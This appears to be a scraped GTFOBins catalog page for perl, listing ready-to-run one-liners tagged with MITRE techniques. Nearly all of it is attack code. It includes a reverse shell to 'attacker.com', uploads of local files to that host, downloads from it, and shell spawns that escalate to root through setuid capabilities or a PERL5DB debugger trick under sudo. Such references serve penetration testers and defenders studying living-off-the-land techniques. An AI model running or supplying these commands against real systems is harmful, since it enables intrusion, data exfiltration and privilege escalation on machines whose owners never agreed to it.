Catalog GTFOBins

GTFO · Tool

perl

14 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS
perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>"attacker.com",PeerPort=>80,Proto=>"tcp") or die; print $s "GET /path/to/input-file HTTP/1.1\r\nHost: attacker.com\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", "/path/to/output-file") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);'
Context
sudo
Native
download
MITRE
T1105

download

File Download LinuxmacOS
perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>"attacker.com",PeerPort=>80,Proto=>"tcp") or die; print $s "GET /path/to/input-file HTTP/1.1\r\nHost: attacker.com\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", "/path/to/output-file") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);'
Context
unprivileged
Native
download
MITRE
T1105

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
perl -e 'use Socket;$i="attacker.com";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS
perl -e 'use Socket;$i="attacker.com";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Context
unprivileged
Native
reverse-shell

shell

ExecutionPrivilege Escalation LinuxmacOS
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
Context
capabilities
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS

The `/dev/null` part can be omitted, just use `Ctrl-D` in order to spawn the shell.

PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl /dev/null
Context
sudo
Native
shell
MITRE
T1059

shell

Execution LinuxmacOS

The `/dev/null` part can be omitted, just use `Ctrl-D` in order to spawn the shell.

PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl /dev/null
Context
unprivileged
Native
shell
MITRE
T1059

upload

File UploadPrivilege Escalation LinuxmacOS
perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>"attacker.com", PeerPort=>80, Proto=>"tcp") or die;open(my $file, "<", "/path/to/input-file") or die;$content = join("", <$file>);close($file);$headers = "POST / HTTP/1.1\r\nHost: attacker.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($content) . "\r\nConnection: close\r\n\r\n";print $s $headers . $content;while (<$s>) { }close($s);'
Context
sudo
Native
upload
MITRE
T1041

upload

File Upload LinuxmacOS
perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>"attacker.com", PeerPort=>80, Proto=>"tcp") or die;open(my $file, "<", "/path/to/input-file") or die;$content = join("", <$file>);close($file);$headers = "POST / HTTP/1.1\r\nHost: attacker.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($content) . "\r\nConnection: close\r\n\r\n";print $s $headers . $content;while (<$s>) { }close($s);'
Context
unprivileged
Native
upload
MITRE
T1041